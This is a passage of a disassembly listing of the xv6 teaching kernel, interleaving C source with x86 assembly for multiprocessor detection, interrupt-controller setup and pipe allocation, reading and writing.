80102f8a <main+0xea> continue; // Tell entryother.S what stack to use, where to enter, and what // pgdir to use. We cannot use kpgdir yet, because the AP processor // is running in low memory, so we use entrypgdir for the APs too. stack = kalloc(); 80102f49: e8 72 f5 ff ff call 801024c0 <kalloc> *(void**)(code-4) = stack + KSTACKSIZE; 80102f4e: 05 00 10 00 00 add $0x1000,%eax *(void(**)(void))(code-8) = mpenter; 80102f53: c7 05 f8 6f 00 80 80 movl $0x80102e80,0x80006ff8 80102f5a: 2e 10 80 *(int**)(code-12) = (void *) V2P(entrypgdir); 80102f5d: c7 05 f4 6f 00 80 00 movl $0x109000,0x80006ff4 80102f64: 90 10 00 *(void**)(code-4) = stack + KSTACKSIZE; 80102f67: a3 fc 6f 00 80 mov %eax,0x80006ffc lapicstartap(c->apicid, V2P(code)); 80102f6c: 0f b6 03 movzbl (%ebx),%eax 80102f6f: 83 ec 08 sub $0x8,%esp 80102f72: 68 00 70 00 00 push $0x7000 80102f77: 50 push %eax 80102f78: e8 03 f8 ff ff call 80102780 <lapicstartap> 80102f7d: 83 c4 10 add $0x10,%esp // wait for cpu to finish mpmain() while(c->started == 0) 80102f80: 8b 83 a0 00 00 00 mov 0xa0(%ebx),%eax 80102f86: 85 c0 test %eax,%eax 80102f88: 74 f6 je 80102f80 <main+0xe0> for(c = cpus; c < cpus+ncpu; c++){ 80102f8a: 69 05 00 2d 11 80 b0 imul $0xb0,0x80112d00,%eax 80102f91: 00 00 00 80102f94: 81 c3 b0 00 00 00 add $0xb0,%ebx 80102f9a: 05 80 27 11 80 add $0x80112780,%eax 80102f9f: 39 c3 cmp %eax,%ebx 80102fa1: 72 9d jb 80102f40 <main+0xa0> kinit2(P2V(4*1024*1024), P2V(PHYSTOP)); // must come after startothers() 80102fa3: 83 ec 08 sub $0x8,%esp 80102fa6: 68 00 00 00 8e push $0x8e000000 80102fab: 68 00 00 40 80 push $0x80400000 80102fb0: e8 ab f4 ff ff call 80102460 <kinit2> userinit(); // first user process 80102fb5: e8 76 08 00 00 call 80103830 <userinit> mpmain(); // finish this processor's setup 80102fba: e8 81 fe ff ff call 80102e40 <mpmain> 80102fbf: 90 nop 80102fc0 <mpsearch1>: } // Look for an MP structure in the len bytes at addr. static struct mp* mpsearch1(uint a, int len) { 80102fc0: 55 push %ebp 80102fc1: 89 e5 mov %esp,%ebp 80102fc3: 57 push %edi 80102fc4: 56 push %esi uchar *e, *p, *addr; addr = P2V(a); 80102fc5: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi { 80102fcb: 53 push %ebx e = addr+len; 80102fcc: 8d 1c 16 lea (%esi,%edx,1),%ebx { 80102fcf: 83 ec 0c sub $0xc,%esp for(p = addr; p < e; p += sizeof(struct mp)) 80102fd2: 39 de cmp %ebx,%esi 80102fd4: 72 10 jb 80102fe6 <mpsearch1+0x26> 80102fd6: eb 50 jmp 80103028 <mpsearch1+0x68> 80102fd8: 90 nop 80102fd9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80102fe0: 39 fb cmp %edi,%ebx 80102fe2: 89 fe mov %edi,%esi 80102fe4: 76 42 jbe 80103028 <mpsearch1+0x68> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80102fe6: 83 ec 04 sub $0x4,%esp 80102fe9: 8d 7e 10 lea 0x10(%esi),%edi 80102fec: 6a 04 push $0x4 80102fee: 68 d8 76 10 80 push $0x801076d8 80102ff3: 56 push %esi 80102ff4: e8 b7 17 00 00 call 801047b0 <memcmp> 80102ff9: 83 c4 10 add $0x10,%esp 80102ffc: 85 c0 test %eax,%eax 80102ffe: 75 e0 jne 80102fe0 <mpsearch1+0x20> 80103000: 89 f1 mov %esi,%ecx 80103002: 8d b6 00 00 00 00 lea 0x0(%esi),%esi sum += addr[i]; 80103008: 0f b6 11 movzbl (%ecx),%edx 8010300b: 83 c1 01 add $0x1,%ecx 8010300e: 01 d0 add %edx,%eax for(i=0; i<len; i++) 80103010: 39 f9 cmp %edi,%ecx 80103012: 75 f4 jne 80103008 <mpsearch1+0x48> if(memcmp(p, "_MP_", 4) == 0 && sum(p, sizeof(struct mp)) == 0) 80103014: 84 c0 test %al,%al 80103016: 75 c8 jne 80102fe0 <mpsearch1+0x20> return (struct mp*)p; return 0; } 80103018: 8d 65 f4 lea -0xc(%ebp),%esp 8010301b: 89 f0 mov %esi,%eax 8010301d: 5b pop %ebx 8010301e: 5e pop %esi 8010301f: 5f pop %edi 80103020: 5d pop %ebp 80103021: c3 ret 80103022: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103028: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 8010302b: 31 f6 xor %esi,%esi } 8010302d: 89 f0 mov %esi,%eax 8010302f: 5b pop %ebx 80103030: 5e pop %esi 80103031: 5f pop %edi 80103032: 5d pop %ebp 80103033: c3 ret 80103034: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010303a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103040 <mpinit>: return conf; } void mpinit(void) { 80103040: 55 push %ebp 80103041: 89 e5 mov %esp,%ebp 80103043: 57 push %edi 80103044: 56 push %esi 80103045: 53 push %ebx 80103046: 83 ec 1c sub $0x1c,%esp if((p = ((bda[0x0F]<<8)| bda[0x0E]) << 4)){ 80103049: 0f b6 05 0f 04 00 80 movzbl 0x8000040f,%eax 80103050: 0f b6 15 0e 04 00 80 movzbl 0x8000040e,%edx 80103057: c1 e0 08 shl $0x8,%eax 8010305a: 09 d0 or %edx,%eax 8010305c: c1 e0 04 shl $0x4,%eax 8010305f: 85 c0 test %eax,%eax 80103061: 75 1b jne 8010307e <mpinit+0x3e> p = ((bda[0x14]<<8)|bda[0x13])*1024; 80103063: 0f b6 05 14 04 00 80 movzbl 0x80000414,%eax 8010306a: 0f b6 15 13 04 00 80 movzbl 0x80000413,%edx 80103071: c1 e0 08 shl $0x8,%eax 80103074: 09 d0 or %edx,%eax 80103076: c1 e0 0a shl $0xa,%eax if((mp = mpsearch1(p-1024, 1024))) 80103079: 2d 00 04 00 00 sub $0x400,%eax if((mp = mpsearch1(p, 1024))) 8010307e: ba 00 04 00 00 mov $0x400,%edx 80103083: e8 38 ff ff ff call 80102fc0 <mpsearch1> 80103088: 85 c0 test %eax,%eax 8010308a: 89 45 e4 mov %eax,-0x1c(%ebp) 8010308d: 0f 84 3d 01 00 00 je 801031d0 <mpinit+0x190> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 80103093: 8b 45 e4 mov -0x1c(%ebp),%eax 80103096: 8b 58 04 mov 0x4(%eax),%ebx 80103099: 85 db test %ebx,%ebx 8010309b: 0f 84 4f 01 00 00 je 801031f0 <mpinit+0x1b0> conf = (struct mpconf*) P2V((uint) mp->physaddr); 801030a1: 8d b3 00 00 00 80 lea -0x80000000(%ebx),%esi if(memcmp(conf, "PCMP", 4) != 0) 801030a7: 83 ec 04 sub $0x4,%esp 801030aa: 6a 04 push $0x4 801030ac: 68 f5 76 10 80 push $0x801076f5 801030b1: 56 push %esi 801030b2: e8 f9 16 00 00 call 801047b0 <memcmp> 801030b7: 83 c4 10 add $0x10,%esp 801030ba: 85 c0 test %eax,%eax 801030bc: 0f 85 2e 01 00 00 jne 801031f0 <mpinit+0x1b0> if(conf->version != 1 && conf->version != 4) 801030c2: 0f b6 83 06 00 00 80 movzbl -0x7ffffffa(%ebx),%eax 801030c9: 3c 01 cmp $0x1,%al 801030cb: 0f 95 c2 setne %dl 801030ce: 3c 04 cmp $0x4,%al 801030d0: 0f 95 c0 setne %al 801030d3: 20 c2 and %al,%dl 801030d5: 0f 85 15 01 00 00 jne 801031f0 <mpinit+0x1b0> if(sum((uchar*)conf, conf->length) != 0) 801030db: 0f b7 bb 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edi for(i=0; i<len; i++) 801030e2: 66 85 ff test %di,%di 801030e5: 74 1a je 80103101 <mpinit+0xc1> 801030e7: 89 f0 mov %esi,%eax 801030e9: 01 f7 add %esi,%edi sum = 0; 801030eb: 31 d2 xor %edx,%edx 801030ed: 8d 76 00 lea 0x0(%esi),%esi sum += addr[i]; 801030f0: 0f b6 08 movzbl (%eax),%ecx 801030f3: 83 c0 01 add $0x1,%eax 801030f6: 01 ca add %ecx,%edx for(i=0; i<len; i++) 801030f8: 39 c7 cmp %eax,%edi 801030fa: 75 f4 jne 801030f0 <mpinit+0xb0> 801030fc: 84 d2 test %dl,%dl 801030fe: 0f 95 c2 setne %dl struct mp *mp; struct mpconf *conf; struct mpproc *proc; struct mpioapic *ioapic; if((conf = mpconfig(&mp)) == 0) 80103101: 85 f6 test %esi,%esi 80103103: 0f 84 e7 00 00 00 je 801031f0 <mpinit+0x1b0> 80103109: 84 d2 test %dl,%dl 8010310b: 0f 85 df 00 00 00 jne 801031f0 <mpinit+0x1b0> panic("Expect to run on an SMP"); ismp = 1; lapic = (uint*)conf->lapicaddr; 80103111: 8b 83 24 00 00 80 mov -0x7fffffdc(%ebx),%eax 80103117: a3 7c 26 11 80 mov %eax,0x8011267c for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010311c: 0f b7 93 04 00 00 80 movzwl -0x7ffffffc(%ebx),%edx 80103123: 8d 83 2c 00 00 80 lea -0x7fffffd4(%ebx),%eax ismp = 1; 80103129: bb 01 00 00 00 mov $0x1,%ebx for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 8010312e: 01 d6 add %edx,%esi 80103130: 39 c6 cmp %eax,%esi 80103132: 76 23 jbe 80103157 <mpinit+0x117> switch(*p){ 80103134: 0f b6 10 movzbl (%eax),%edx 80103137: 80 fa 04 cmp $0x4,%dl 8010313a: 0f 87 ca 00 00 00 ja 8010320a <mpinit+0x1ca> 80103140: ff 24 95 1c 77 10 80 jmp *-0x7fef88e4(,%edx,4) 80103147: 89 f6 mov %esi,%esi 80103149: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi p += sizeof(struct mpioapic); continue; case MPBUS: case MPIOINTR: case MPLINTR: p += 8; 80103150: 83 c0 08 add $0x8,%eax for(p=(uchar*)(conf+1), e=(uchar*)conf+conf->length; p<e; ){ 80103153: 39 c6 cmp %eax,%esi 80103155: 77 dd ja 80103134 <mpinit+0xf4> default: ismp = 0; break; } } if(!ismp) 80103157: 85 db test %ebx,%ebx 80103159: 0f 84 9e 00 00 00 je 801031fd <mpinit+0x1bd> panic("Didn't find a suitable machine"); if(mp->imcrp){ 8010315f: 8b 45 e4 mov -0x1c(%ebp),%eax 80103162: 80 78 0c 00 cmpb $0x0,0xc(%eax) 80103166: 74 15 je 8010317d <mpinit+0x13d> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80103168: b8 70 00 00 00 mov $0x70,%eax 8010316d: ba 22 00 00 00 mov $0x22,%edx 80103172: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80103173: ba 23 00 00 00 mov $0x23,%edx 80103178: ec in (%dx),%al // Bochs doesn't support IMCR, so this doesn't run on Bochs. // But it would on real hardware. outb(0x22, 0x70); // Select IMCR outb(0x23, inb(0x23) | 1); // Mask external interrupts. 80103179: 83 c8 01 or $0x1,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010317c: ee out %al,(%dx) } } 8010317d: 8d 65 f4 lea -0xc(%ebp),%esp 80103180: 5b pop %ebx 80103181: 5e pop %esi 80103182: 5f pop %edi 80103183: 5d pop %ebp 80103184: c3 ret 80103185: 8d 76 00 lea 0x0(%esi),%esi if(ncpu < NCPU) { 80103188: 8b 0d 00 2d 11 80 mov 0x80112d00,%ecx 8010318e: 83 f9 07 cmp $0x7,%ecx 80103191: 7f 19 jg 801031ac <mpinit+0x16c> cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 80103193: 0f b6 50 01 movzbl 0x1(%eax),%edx 80103197: 69 f9 b0 00 00 00 imul $0xb0,%ecx,%edi ncpu++; 8010319d: 83 c1 01 add $0x1,%ecx 801031a0: 89 0d 00 2d 11 80 mov %ecx,0x80112d00 cpus[ncpu].apicid = proc->apicid; // apicid may differ from ncpu 801031a6: 88 97 80 27 11 80 mov %dl,-0x7feed880(%edi) p += sizeof(struct mpproc); 801031ac: 83 c0 14 add $0x14,%eax continue; 801031af: e9 7c ff ff ff jmp 80103130 <mpinit+0xf0> 801031b4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi ioapicid = ioapic->apicno; 801031b8: 0f b6 50 01 movzbl 0x1(%eax),%edx p += sizeof(struct mpioapic); 801031bc: 83 c0 08 add $0x8,%eax ioapicid = ioapic->apicno; 801031bf: 88 15 60 27 11 80 mov %dl,0x80112760 continue; 801031c5: e9 66 ff ff ff jmp 80103130 <mpinit+0xf0> 801031ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return mpsearch1(0xF0000, 0x10000); 801031d0: ba 00 00 01 00 mov $0x10000,%edx 801031d5: b8 00 00 0f 00 mov $0xf0000,%eax 801031da: e8 e1 fd ff ff call 80102fc0 <mpsearch1> if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801031df: 85 c0 test %eax,%eax return mpsearch1(0xF0000, 0x10000); 801031e1: 89 45 e4 mov %eax,-0x1c(%ebp) if((mp = mpsearch()) == 0 || mp->physaddr == 0) 801031e4: 0f 85 a9 fe ff ff jne 80103093 <mpinit+0x53> 801031ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi panic("Expect to run on an SMP"); 801031f0: 83 ec 0c sub $0xc,%esp 801031f3: 68 dd 76 10 80 push $0x801076dd 801031f8: e8 93 d1 ff ff call 80100390 <panic> panic("Didn't find a suitable machine"); 801031fd: 83 ec 0c sub $0xc,%esp 80103200: 68 fc 76 10 80 push $0x801076fc 80103205: e8 86 d1 ff ff call 80100390 <panic> ismp = 0; 8010320a: 31 db xor %ebx,%ebx 8010320c: e9 26 ff ff ff jmp 80103137 <mpinit+0xf7> 80103211: 66 90 xchg %ax,%ax 80103213: 66 90 xchg %ax,%ax 80103215: 66 90 xchg %ax,%ax 80103217: 66 90 xchg %ax,%ax 80103219: 66 90 xchg %ax,%ax 8010321b: 66 90 xchg %ax,%ax 8010321d: 66 90 xchg %ax,%ax 8010321f: 90 nop 80103220 <picinit>: #define IO_PIC2 0xA0 // Slave (IRQs 8-15) // Don't use the 8259A interrupt controllers. Xv6 assumes SMP hardware. void picinit(void) { 80103220: 55 push %ebp 80103221: b8 ff ff ff ff mov $0xffffffff,%eax 80103226: ba 21 00 00 00 mov $0x21,%edx 8010322b: 89 e5 mov %esp,%ebp 8010322d: ee out %al,(%dx) 8010322e: ba a1 00 00 00 mov $0xa1,%edx 80103233: ee out %al,(%dx) // mask all interrupts outb(IO_PIC1+1, 0xFF); outb(IO_PIC2+1, 0xFF); } 80103234: 5d pop %ebp 80103235: c3 ret 80103236: 66 90 xchg %ax,%ax 80103238: 66 90 xchg %ax,%ax 8010323a: 66 90 xchg %ax,%ax 8010323c: 66 90 xchg %ax,%ax 8010323e: 66 90 xchg %ax,%ax 80103240 <pipealloc>: int writeopen; // write fd is still open }; int pipealloc(struct file **f0, struct file **f1) { 80103240: 55 push %ebp 80103241: 89 e5 mov %esp,%ebp 80103243: 57 push %edi 80103244: 56 push %esi 80103245: 53 push %ebx 80103246: 83 ec 0c sub $0xc,%esp 80103249: 8b 5d 08 mov 0x8(%ebp),%ebx 8010324c: 8b 75 0c mov 0xc(%ebp),%esi struct pipe *p; p = 0; *f0 = *f1 = 0; 8010324f: c7 06 00 00 00 00 movl $0x0,(%esi) 80103255: c7 03 00 00 00 00 movl $0x0,(%ebx) if((*f0 = filealloc()) == 0 || (*f1 = filealloc()) == 0) 8010325b: e8 20 db ff ff call 80100d80 <filealloc> 80103260: 85 c0 test %eax,%eax 80103262: 89 03 mov %eax,(%ebx) 80103264: 74 22 je 80103288 <pipealloc+0x48> 80103266: e8 15 db ff ff call 80100d80 <filealloc> 8010326b: 85 c0 test %eax,%eax 8010326d: 89 06 mov %eax,(%esi) 8010326f: 74 3f je 801032b0 <pipealloc+0x70> goto bad; if((p = (struct pipe*)kalloc()) == 0) 80103271: e8 4a f2 ff ff call 801024c0 <kalloc> 80103276: 85 c0 test %eax,%eax 80103278: 89 c7 mov %eax,%edi 8010327a: 75 54 jne 801032d0 <pipealloc+0x90> //PAGEBREAK: 20 bad: if(p) kfree((char*)p); if(*f0) 8010327c: 8b 03 mov (%ebx),%eax 8010327e: 85 c0 test %eax,%eax 80103280: 75 34 jne 801032b6 <pipealloc+0x76> 80103282: 8d b6 00 00 00 00 lea 0x0(%esi),%esi fileclose(*f0); if(*f1) 80103288: 8b 06 mov (%esi),%eax 8010328a: 85 c0 test %eax,%eax 8010328c: 74 0c je 8010329a <pipealloc+0x5a> fileclose(*f1); 8010328e: 83 ec 0c sub $0xc,%esp 80103291: 50 push %eax 80103292: e8 a9 db ff ff call 80100e40 <fileclose> 80103297: 83 c4 10 add $0x10,%esp return -1; } 8010329a: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 8010329d: b8 ff ff ff ff mov $0xffffffff,%eax } 801032a2: 5b pop %ebx 801032a3: 5e pop %esi 801032a4: 5f pop %edi 801032a5: 5d pop %ebp 801032a6: c3 ret 801032a7: 89 f6 mov %esi,%esi 801032a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(*f0) 801032b0: 8b 03 mov (%ebx),%eax 801032b2: 85 c0 test %eax,%eax 801032b4: 74 e4 je 8010329a <pipealloc+0x5a> fileclose(*f0); 801032b6: 83 ec 0c sub $0xc,%esp 801032b9: 50 push %eax 801032ba: e8 81 db ff ff call 80100e40 <fileclose> if(*f1) 801032bf: 8b 06 mov (%esi),%eax fileclose(*f0); 801032c1: 83 c4 10 add $0x10,%esp if(*f1) 801032c4: 85 c0 test %eax,%eax 801032c6: 75 c6 jne 8010328e <pipealloc+0x4e> 801032c8: eb d0 jmp 8010329a <pipealloc+0x5a> 801032ca: 8d b6 00 00 00 00 lea 0x0(%esi),%esi initlock(&p->lock, "pipe"); 801032d0: 83 ec 08 sub $0x8,%esp p->readopen = 1; 801032d3: c7 80 3c 02 00 00 01 movl $0x1,0x23c(%eax) 801032da: 00 00 00 p->writeopen = 1; 801032dd: c7 80 40 02 00 00 01 movl $0x1,0x240(%eax) 801032e4: 00 00 00 p->nwrite = 0; 801032e7: c7 80 38 02 00 00 00 movl $0x0,0x238(%eax) 801032ee: 00 00 00 p->nread = 0; 801032f1: c7 80 34 02 00 00 00 movl $0x0,0x234(%eax) 801032f8: 00 00 00 initlock(&p->lock, "pipe"); 801032fb: 68 30 77 10 80 push $0x80107730 80103300: 50 push %eax 80103301: e8 0a 12 00 00 call 80104510 <initlock> (*f0)->type = FD_PIPE; 80103306: 8b 03 mov (%ebx),%eax return 0; 80103308: 83 c4 10 add $0x10,%esp (*f0)->type = FD_PIPE; 8010330b: c7 00 01 00 00 00 movl $0x1,(%eax) (*f0)->readable = 1; 80103311: 8b 03 mov (%ebx),%eax 80103313: c6 40 08 01 movb $0x1,0x8(%eax) (*f0)->writable = 0; 80103317: 8b 03 mov (%ebx),%eax 80103319: c6 40 09 00 movb $0x0,0x9(%eax) (*f0)->pipe = p; 8010331d: 8b 03 mov (%ebx),%eax 8010331f: 89 78 0c mov %edi,0xc(%eax) (*f1)->type = FD_PIPE; 80103322: 8b 06 mov (%esi),%eax 80103324: c7 00 01 00 00 00 movl $0x1,(%eax) (*f1)->readable = 0; 8010332a: 8b 06 mov (%esi),%eax 8010332c: c6 40 08 00 movb $0x0,0x8(%eax) (*f1)->writable = 1; 80103330: 8b 06 mov (%esi),%eax 80103332: c6 40 09 01 movb $0x1,0x9(%eax) (*f1)->pipe = p; 80103336: 8b 06 mov (%esi),%eax 80103338: 89 78 0c mov %edi,0xc(%eax) } 8010333b: 8d 65 f4 lea -0xc(%ebp),%esp return 0; 8010333e: 31 c0 xor %eax,%eax } 80103340: 5b pop %ebx 80103341: 5e pop %esi 80103342: 5f pop %edi 80103343: 5d pop %ebp 80103344: c3 ret 80103345: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103349: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103350 <pipeclose>: void pipeclose(struct pipe *p, int writable) { 80103350: 55 push %ebp 80103351: 89 e5 mov %esp,%ebp 80103353: 56 push %esi 80103354: 53 push %ebx 80103355: 8b 5d 08 mov 0x8(%ebp),%ebx 80103358: 8b 75 0c mov 0xc(%ebp),%esi acquire(&p->lock); 8010335b: 83 ec 0c sub $0xc,%esp 8010335e: 53 push %ebx 8010335f: e8 ec 12 00 00 call 80104650 <acquire> if(writable){ 80103364: 83 c4 10 add $0x10,%esp 80103367: 85 f6 test %esi,%esi 80103369: 74 45 je 801033b0 <pipeclose+0x60> p->writeopen = 0; wakeup(&p->nread); 8010336b: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 80103371: 83 ec 0c sub $0xc,%esp p->writeopen = 0; 80103374: c7 83 40 02 00 00 00 movl $0x0,0x240(%ebx) 8010337b: 00 00 00 wakeup(&p->nread); 8010337e: 50 push %eax 8010337f: e8 fc 0d 00 00 call 80104180 <wakeup> 80103384: 83 c4 10 add $0x10,%esp } else { p->readopen = 0; wakeup(&p->nwrite); } if(p->readopen == 0 && p->writeopen == 0){ 80103387: 8b 93 3c 02 00 00 mov 0x23c(%ebx),%edx 8010338d: 85 d2 test %edx,%edx 8010338f: 75 0a jne 8010339b <pipeclose+0x4b> 80103391: 8b 83 40 02 00 00 mov 0x240(%ebx),%eax 80103397: 85 c0 test %eax,%eax 80103399: 74 35 je 801033d0 <pipeclose+0x80> release(&p->lock); kfree((char*)p); } else release(&p->lock); 8010339b: 89 5d 08 mov %ebx,0x8(%ebp) } 8010339e: 8d 65 f8 lea -0x8(%ebp),%esp 801033a1: 5b pop %ebx 801033a2: 5e pop %esi 801033a3: 5d pop %ebp release(&p->lock); 801033a4: e9 67 13 00 00 jmp 80104710 <release> 801033a9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi wakeup(&p->nwrite); 801033b0: 8d 83 38 02 00 00 lea 0x238(%ebx),%eax 801033b6: 83 ec 0c sub $0xc,%esp p->readopen = 0; 801033b9: c7 83 3c 02 00 00 00 movl $0x0,0x23c(%ebx) 801033c0: 00 00 00 wakeup(&p->nwrite); 801033c3: 50 push %eax 801033c4: e8 b7 0d 00 00 call 80104180 <wakeup> 801033c9: 83 c4 10 add $0x10,%esp 801033cc: eb b9 jmp 80103387 <pipeclose+0x37> 801033ce: 66 90 xchg %ax,%ax release(&p->lock); 801033d0: 83 ec 0c sub $0xc,%esp 801033d3: 53 push %ebx 801033d4: e8 37 13 00 00 call 80104710 <release> kfree((char*)p); 801033d9: 89 5d 08 mov %ebx,0x8(%ebp) 801033dc: 83 c4 10 add $0x10,%esp } 801033df: 8d 65 f8 lea -0x8(%ebp),%esp 801033e2: 5b pop %ebx 801033e3: 5e pop %esi 801033e4: 5d pop %ebp kfree((char*)p); 801033e5: e9 26 ef ff ff jmp 80102310 <kfree> 801033ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801033f0 <pipewrite>: //PAGEBREAK: 40 int pipewrite(struct pipe *p, char *addr, int n) { 801033f0: 55 push %ebp 801033f1: 89 e5 mov %esp,%ebp 801033f3: 57 push %edi 801033f4: 56 push %esi 801033f5: 53 push %ebx 801033f6: 83 ec 28 sub $0x28,%esp 801033f9: 8b 5d 08 mov 0x8(%ebp),%ebx int i; acquire(&p->lock); 801033fc: 53 push %ebx 801033fd: e8 4e 12 00 00 call 80104650 <acquire> for(i = 0; i < n; i++){ 80103402: 8b 45 10 mov 0x10(%ebp),%eax 80103405: 83 c4 10 add $0x10,%esp 80103408: 85 c0 test %eax,%eax 8010340a: 0f 8e c9 00 00 00 jle 801034d9 <pipewrite+0xe9> 80103410: 8b 4d 0c mov 0xc(%ebp),%ecx 80103413: 8b 83 38 02 00 00 mov 0x238(%ebx),%eax while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full if(p->readopen == 0 || myproc()->killed){ release(&p->lock); return -1; } wakeup(&p->nread); 80103419: 8d bb 34 02 00 00 lea 0x234(%ebx),%edi 8010341f: 89 4d e4 mov %ecx,-0x1c(%ebp) 80103422: 03 4d 10 add 0x10(%ebp),%ecx 80103425: 89 4d e0 mov %ecx,-0x20(%ebp) while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103428: 8b 8b 34 02 00 00 mov 0x234(%ebx),%ecx 8010342e: 8d 91 00 02 00 00 lea 0x200(%ecx),%edx 80103434: 39 d0 cmp %edx,%eax 80103436: 75 71 jne 801034a9 <pipewrite+0xb9> if(p->readopen == 0 || myproc()->killed){ 80103438: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax 8010343e: 85 c0 test %eax,%eax 80103440: 74 4e je 80103490 <pipewrite+0xa0> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103442: 8d b3 38 02 00 00 lea 0x238(%ebx),%esi 80103448: eb 3a jmp 80103484 <pipewrite+0x94> 8010344a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi wakeup(&p->nread); 80103450: 83 ec 0c sub $0xc,%esp 80103453: 57 push %edi 80103454: e8 27 0d 00 00 call 80104180 <wakeup> sleep(&p->nwrite, &p->lock); //DOC: pipewrite-sleep 80103459: 5a pop %edx 8010345a: 59 pop %ecx 8010345b: 53 push %ebx 8010345c: 56 push %esi 8010345d: e8 5e 0b 00 00 call 80103fc0 <sleep> while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 80103462: 8b 83 34 02 00 00 mov 0x234(%ebx),%eax 80103468: 8b 93 38 02 00 00 mov 0x238(%ebx),%edx 8010346e: 83 c4 10 add $0x10,%esp 80103471: 05 00 02 00 00 add $0x200,%eax 80103476: 39 c2 cmp %eax,%edx 80103478: 75 36 jne 801034b0 <pipewrite+0xc0> if(p->readopen == 0 || myproc()->killed){ 8010347a: 8b 83 3c 02 00 00 mov 0x23c(%ebx),%eax 80103480: 85 c0 test %eax,%eax 80103482: 74 0c je 80103490 <pipewrite+0xa0> 80103484: e8 77 03 00 00 call 80103800 <myproc> 80103489: 8b 40 24 mov 0x24(%eax),%eax 8010348c: 85 c0 test %eax,%eax 8010348e: 74 c0 je 80103450 <pipewrite+0x60> release(&p->lock); 80103490: 83 ec 0c sub $0xc,%esp 80103493: 53 push %ebx 80103494: e8 77 12 00 00 call 80104710 <release> return -1; 80103499: 83 c4 10 add $0x10,%esp 8010349c: b8 ff ff ff ff mov $0xffffffff,%eax p->data[p->nwrite++ % PIPESIZE] = addr[i]; } wakeup(&p->nread); //DOC: pipewrite-wakeup1 release(&p->lock); return n; } 801034a1: 8d 65 f4 lea -0xc(%ebp),%esp 801034a4: 5b pop %ebx 801034a5: 5e pop %esi 801034a6: 5f pop %edi 801034a7: 5d pop %ebp 801034a8: c3 ret while(p->nwrite == p->nread + PIPESIZE){ //DOC: pipewrite-full 801034a9: 89 c2 mov %eax,%edx 801034ab: 90 nop 801034ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi p->data[p->nwrite++ % PIPESIZE] = addr[i]; 801034b0: 8b 75 e4 mov -0x1c(%ebp),%esi 801034b3: 8d 42 01 lea 0x1(%edx),%eax 801034b6: 81 e2 ff 01 00 00 and $0x1ff,%edx 801034bc: 89 83 38 02 00 00 mov %eax,0x238(%ebx) 801034c2: 83 c6 01 add $0x1,%esi 801034c5: 0f b6 4e ff movzbl -0x1(%esi),%ecx for(i = 0; i < n; i++){ 801034c9: 3b 75 e0 cmp -0x20(%ebp),%esi 801034cc: 89 75 e4 mov %esi,-0x1c(%ebp) p->data[p->nwrite++ % PIPESIZE] = addr[i]; 801034cf: 88 4c 13 34 mov %cl,0x34(%ebx,%edx,1) for(i = 0; i < n; i++){ 801034d3: 0f 85 4f ff ff ff jne 80103428 <pipewrite+0x38> wakeup(&p->nread); //DOC: pipewrite-wakeup1 801034d9: 8d 83 34 02 00 00 lea 0x234(%ebx),%eax 801034df: 83 ec 0c sub $0xc,%esp 801034e2: 50 push %eax 801034e3: e8 98 0c 00 00 call 80104180 <wakeup> release(&p->lock); 801034e8: 89 1c 24 mov %ebx,(%esp) 801034eb: e8 20 12 00 00 call 80104710 <release> return n; 801034f0: 83 c4 10 add $0x10,%esp 801034f3: 8b 45 10 mov 0x10(%ebp),%eax 801034f6: eb a9 jmp 801034a1 <pipewrite+0xb1> 801034f8: 90 nop 801034f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103500 <piperead>: int piperead(struct pipe *p, char *addr, int n) { 80103500: 55 push %ebp 80103501: 89 e5 mov %esp,%ebp 80103503: 57 push %edi 80103504: 56 push %esi 80103505: 53 push %ebx 80103506: 83 ec 18 sub $0x18,%esp 80103509: 8b 75 08 mov 0x8(%ebp),%esi 8010350c: 8b 7d 0c mov 0xc(%ebp),%edi int i; acquire(&p->lock); 8010350f: 56 push %esi 80103510: e8 3b 11 00 00 call 80104650 <acquire> while(p->nread == p->nwrite && p->writeopen){ //DOC: pipe-empty 80103515: 83 c4 10 add $0x10,%esp 80103518: 8b 8e 34 02 00 00 mov 0x234(%esi),%ecx 8010351e: 3b 8e 38 02 00 00 cmp 0x238(%esi),%ecx 80103524: 75 6a jne 80103590 <piperead+0x90> 80103526: 8b 9e 40 02 00 00 mov 0x240(%esi),%ebx 8010352c: 85 db test %ebx,%ebx 8010352e: 0f 84 c4 00 00 00 je 801035f8 <piperead+0xf8> if(myproc()->killed){ release(&p->lock); return -1; } sleep(&p->nread, &p->lock); //DOC: piperead-sleep 80103534: 